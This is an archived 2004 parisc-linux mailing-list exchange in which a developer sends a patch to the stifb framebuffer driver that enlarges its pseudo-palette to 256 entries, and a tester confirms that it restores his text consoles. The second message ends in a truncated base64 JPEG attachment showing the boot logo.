X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22077

--Boundary-00=_laNhBbcadVbks2B
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi Johannes,

could you test the attached patch ?
Until now, we only saved the pseudo_palette with max. 16 entries - maybe for 24/32bpp we need to save 256 entries...

Helge


On Sunday 31 October 2004 10:10, Johannes Raspe wrote:
> Hi Helge,
> 
> > Hi Johannes,
> >
> > On Friday 29 October 2004 22:28, Johannes Raspe wrote:
> > > I just noticed that I lost my text-console. Don't know if this is the
> > > patched stifb.c (I cant' check either :-)).
> >
> > I don't think so.
> 
> I had a strang idea about the text-consoles and it was right: The consoles are 
> present, but they are black text on black background.
> I can type in commands blindly and they are executed, but I don't see them. So 
> it seems to be a minor problem with your patch I think. Somehow the colors 
> got screwed up in textmode.
> 
> > > The getty processes are started on tty1  to tty6, but switching to those
> > > consoles with "CTRL+ALT+F1-6" only gives a  black screen.
> >
> > Just tested and this works for me on 8bpp with Artist-gfx on a 715/64.
> >
> > > After switching system-console to graphics there are no bootmessages, I
> > > have to switch back to serial console to see them.
> > > X-Server still is working fine.
> > >
> > > Any suggestions?
> >
> > Do you still boot via serial console or is the cable still connected ?
> > If yes, please stop at the IPL and delete the line "console=ttyS0", which
> > is auto-appended by palo if you boot from serial console.
> 
> No, I changed the path to graphics in boot admin.
> 
> > You wrote in another mail:
> > > The hppa "boot-penguin" looks a little bit psychedlic...
> >
> > could you describe this more exactly. Does the colors seem exchanged (e.g.
> > red is blue and vice-versa) ?
> 
> The background of the penguin is green where it should be black. This is the  
> obvious change. The rest just looks weird. If it helps I could make a picture 
> of it.
> 
> > Helge
> 
> Regards Johannes

--Boundary-00=_laNhBbcadVbks2B
Content-Type: text/plain;
  charset="iso-8859-15";
  name="diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="diff"

Index: stifb.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/video/stifb.c,v
retrieving revision 1.11
diff -u -p -r1.11 stifb.c
--- stifb.c	29 Oct 2004 22:59:50 -0000	1.11
+++ stifb.c	31 Oct 2004 12:10:46 -0000
@@ -112,7 +112,7 @@ struct stifb_info {
 	ngle_rom_t ngle_rom;
 	struct sti_struct *sti;
 	int deviceSpecificConfig;
-	u32 pseudo_palette[16];
+	u32 pseudo_palette[256];
 };
 
 static int __initdata bpp = 8;	/* parameter from modprobe */
@@ -1018,6 +1018,16 @@ stifb_setcolreg(u_int regno, u_int red, 
 			 (blue));
 	}
 
+	if (info->var.bits_per_pixel == 32) {
+		((u32 *)(info->pseudo_palette))[regno] =
+			(red   << info->var.red.offset)   |
+			(green << info->var.green.offset) |
+			(blue  << info->var.blue.offset);
+	} else {
+		((u32 *)(info->pseudo_palette))[regno] = regno;
+	}
+
+
 	WRITE_IMAGE_COLOR(fb, regno, color);
 	
 	if (fb->id == S9000_ID_HCRX) {
@@ -1031,14 +1041,6 @@ stifb_setcolreg(u_int regno, u_int red, 
 				/* 0x100 is same as used in WRITE_IMAGE_COLOR() */
 		START_COLORMAPLOAD(fb, lutBltCtl.all);
 		SETUP_FB(fb);
-
-		/* info->var.bits_per_pixel == 32 */
-		if (regno < 16) 
-		  ((u32 *)(info->pseudo_palette))[regno] =
-			(red   << info->var.red.offset)   |
-			(green << info->var.green.offset) |
-			(blue  << info->var.blue.offset);

From - Thu Nov 08 21:32:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j.raspe@t-online.de (Johannes Raspe)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: Re: [parisc-linux] Re: STI crash on B132L with HCRX-24
Date: Sun, 31 Oct 2004 14:06:45 +0100
Lines: 222
Approved: news@gmane.org
Message-ID: <200410311406.46194.j.raspe@t-online.de>
References: <200410292228.14940.j.raspe@t-online.de> <200410311010.47849.j.raspe@t-online.de> <200410311312.21653.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_mNOhBnzWrNW1EVG"
X-Trace: ger.gmane.org 1416623585 11594 80.91.229.3 (22 Nov 2014 02:33:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:05 +0000 (UTC)
Cc: ajwalker@broadpark.no,
 parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <j.raspe@t-online.de>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18640 invoked by uid 65534); 31 Oct 2004 13:06:59 -0000
Original-Received: from mailout11.sul.t-online.com (EHLO mailout11.sul.t-online.com) (194.25.134.85)
  by mx0.gmx.net (mx005) with SMTP; 31 Oct 2004 14:06:59 +0100
Original-Received: from fwd10.aul.t-online.de 
	by mailout11.sul.t-online.com with smtp 
	id 1COFQ6-0004Sw-00; Sun, 31 Oct 2004 14:06:54 +0100
Original-Received: from ZEUS.lan.pc (rIB3HQZErehSKe-t2t1RHPEci1bKsjdwGOgwzISjPJmwGx9KoG3vr3@[80.144.120.232]) by fwd10.sul.t-online.com
	with esmtp id 1COFPy-0Lrf720; Sun, 31 Oct 2004 14:06:46 +0100
User-Agent: KMail/1.7
In-Reply-To: <200410311312.21653.deller@gmx.de>
X-ID: rIB3HQZErehSKe-t2t1RHPEci1bKsjdwGOgwzISjPJmwGx9KoG3vr3
X-TOI-MSGID: 7f6c00a0-bb05-4d6b-aca6-063f8fec8088
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22078

--Boundary-00=_mNOhBnzWrNW1EVG
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Am Sonntag, 31. Oktober 2004 13:12 schrieb Helge Deller:
> Hi Johannes,
>
> could you test the attached patch ?
> Until now, we only saved the pseudo_palette with max. 16 entries - maybe
> for 24/32bpp we need to save 256 entries...
>
> Helge

Hi Helge,

great work! I got my text-consoles back!
For solving the (cosmetical) penguin-color-problem I took a shot with my 
digicam and attached it (sorry for poor quality).

Regards Johannes

-- 
Johannes Raspe - j.raspe@t-online.de
GnuPG-Key ID: D342E105
Fingerprint: D681 F800 FB2D 913E D14C 1F17 C3DB B1F1 D342 E105

--Boundary-00=_mNOhBnzWrNW1EVG
Content-Type: image/jpeg;
  name="penguin-logo.jpg"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="penguin-logo.jpg"

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
